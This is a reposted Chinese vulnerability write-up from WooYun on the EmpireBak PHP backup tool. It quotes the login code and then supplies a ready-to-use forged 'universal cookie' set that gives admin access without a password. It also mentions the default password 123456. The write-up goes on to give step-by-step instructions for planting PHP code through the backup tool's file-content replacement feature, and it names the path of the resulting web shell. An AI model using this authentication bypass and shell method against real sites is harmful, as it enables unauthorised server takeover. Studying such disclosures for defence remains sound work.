转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)
登录成功设置4个cookie,看代码
PHP Code复制内容到剪贴板
- function login($lusername,$lpassword,$key,$lifetime=0){
- global $set_username,$set_password,$set_loginauth,$set_loginkey;
- if(emptyempty($lusername)||emptyempty($lpassword)) {
- printerror("EmptyLoginUser","index.php");
- }
-
- if(!$set_loginkey)
- {
- if($key<>getcvar('checkkey')||emptyempty($key))
- {
- printerror("FailLoginKey","index.php");
- }
- }
- if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)
- {
- printerror("ErrorUser","index.php");
- }
-
- if($set_loginauth&$set_loginauth!=$_POST['loginauth'])
- {
- printerror("ErrorLoginAuth","index.php");
- }
- $logintime=time();
- $rnd=make_password(12);
- $s1=esetcookie("bakusername",$lusername,0);
- $s2=esetcookie("bakrnd",$rnd,0);
- $s3=esetcookie("baklogintime",$logintime,0);
- Ebak_SCookieRnd($lusername,$rnd);
- if(!$s1||!$s2)
- {
- printerror("NotOpenCookie","index.php");
- }
- printerror("LoginSuccess","admin.php");
- }
再看看make_password函数
PHP Code复制内容到剪贴板
- function make_password($pw_length){
- $low_ascii_bound=50;
- $upper_ascii_bound=122;
- $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);
- while($i<$pw_length)
- {
- mt_srand((double)microtime()*1000000);
- $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
- if(!in_array($randnum,$notuse))
- {
- $password1=$password1.chr($randnum);
- $i++;
- }
- }
- return $password1;
- }
这个函数只是生成随机数,再看看Ebak_SCookieRnd函数
PHP Code复制内容到剪贴板
- function Ebak_SCookieRnd($username,$rnd){
- global $set_loginrnd;
- $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');
- esetcookie("loginebakckpass",$ckpass,0);
- }
下面给出万能cookie(key:value):
XML/HTML Code复制内容到剪贴板
- ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
- ebak_bakrnd:35y5cCnnA4Kh
- ebak_bakusername:admin
- ebak_baklogintime:4070883661
使用以上cookie即可直接访问admin.php
2.拿shell
后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库
备份数据,随便找个数据库备份,
然后到替换目录文件内容里,选择刚才备份的数据库,
将”$b_table=”
替换成
“phpinfo();
$b_table=”
这里shell的路径就是bdata/mysql_20141007221849/config.php
